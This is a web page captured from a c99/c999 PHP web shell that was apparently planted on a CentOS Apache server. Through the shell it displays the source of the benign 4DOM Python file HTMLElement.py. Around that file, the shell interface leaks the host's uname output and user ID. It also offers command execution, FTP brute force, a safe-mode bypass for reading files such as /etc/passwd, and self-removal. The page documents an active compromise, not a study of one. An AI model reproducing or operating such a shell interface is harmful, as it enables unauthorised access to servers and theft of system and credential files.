!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/site-packages/_xmlplus/dom/html/   drwxr-xr-x
Free 50.73 GB of 127.8 GB (39.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HTMLElement.py (3.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
########################################################################
#
# File Name:            HTMLElement.py
#
#
"""
WWW: http://4suite.com/4DOM         e-mail: support@4suite.com

Copyright (c) 2000 Fourthought Inc, USA.   All Rights Reserved.
See  http://4suite.com/COPYRIGHT  for license and copyright information
"""

from xml.dom.Element import Element
from xml.dom import EMPTY_NAMESPACE, EMPTY_PREFIX
import string

class HTMLElement(Element):

    def __init__(self, ownerDocument, nodeName):
        tagName = string.upper(nodeName)
        Element.__init__(self, ownerDocument, tagName,
                         EMPTY_NAMESPACE, EMPTY_PREFIX,tagName)

    ### Attribute Methods ###

    def _get_id(self):
        return self.getAttribute('ID')

    def _set_id(self,ID):
        self.setAttribute('ID',ID)

    def _get_title(self):
        return self.getAttribute('TITLE')

    def _set_title(self,title):
        self.setAttribute('TITLE',title)

    def _get_lang(self):
        return self.getAttribute('LANG')

    def _set_lang(self,lang):
        self.setAttribute('LANG',lang)

    def _get_dir(self):
        return self.getAttribute('DIR')

    def _set_dir(self,dir):
        self.setAttribute('DIR',dir)

    def _get_className(self):
        return self.getAttribute('CLASSNAME')

    def _set_className(self,className):
        self.setAttribute('CLASSNAME',className)

    ### Overridden Methods ###

    def getAttribute(self, name):
        attr = self.attributes.getNamedItem(string.upper(name))
        return attr and attr.value or ''

    def getAttributeNode(self, name):
        return self.attributes.getNamedItem(string.upper(name))

    def getElementsByTagName(self, tagName):
        return Element.getElementsByTagName(self, string.upper(tagName))

    def hasAttribute(self, name):
        return self.attributes.getNamedItem(string.upper(name)) is not None

    def removeAttribute(self, name):
        attr = self.attributes.getNamedItem(string.upper(name))
        attr and self.removeAttributeNode(attr)

    def setAttribute(self, name, value):
        Element.setAttribute(self, string.upper(name), value)

    def _4dom_validateString(self, value):
        return value

    ### Helper Functions For Cloning ###

    def _4dom_clone(self, owner):
        e = self.__class__(owner,
                           self.tagName)
        for attr in self.attributes:
            clone = attr._4dom_clone(owner)
            if clone.localName is None:
                e.attributes.setNamedItem(clone)
            else:
                e.attributes.setNamedItemNS(clone)
            clone._4dom_setOwnerElement(self)
        return e

    def __getinitargs__(self):
        return (self.ownerDocument,
            self.tagName
        )

    ### Attribute Access Mappings ###

    _readComputedAttrs = Element._readComputedAttrs.copy()
    _readComputedAttrs.update ({
         'id'            : _get_id,
         'title'         : _get_title,
         'lang'          : _get_lang,
         'dir'           : _get_dir,
         'className'     : _get_className,
      })

    _writeComputedAttrs = Element._writeComputedAttrs.copy()
    _writeComputedAttrs.update ({
         'id'            : _set_id,
         'title'         : _set_title,
         'lang'          : _set_lang,
         'dir'           : _set_dir,
         'className'     : _set_className,
      })

    _readOnlyAttrs = filter(lambda k,m=_writeComputedAttrs: not m.has_key(k),
                            Element._readOnlyAttrs + _readComputedAttrs.keys())

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0153 ]--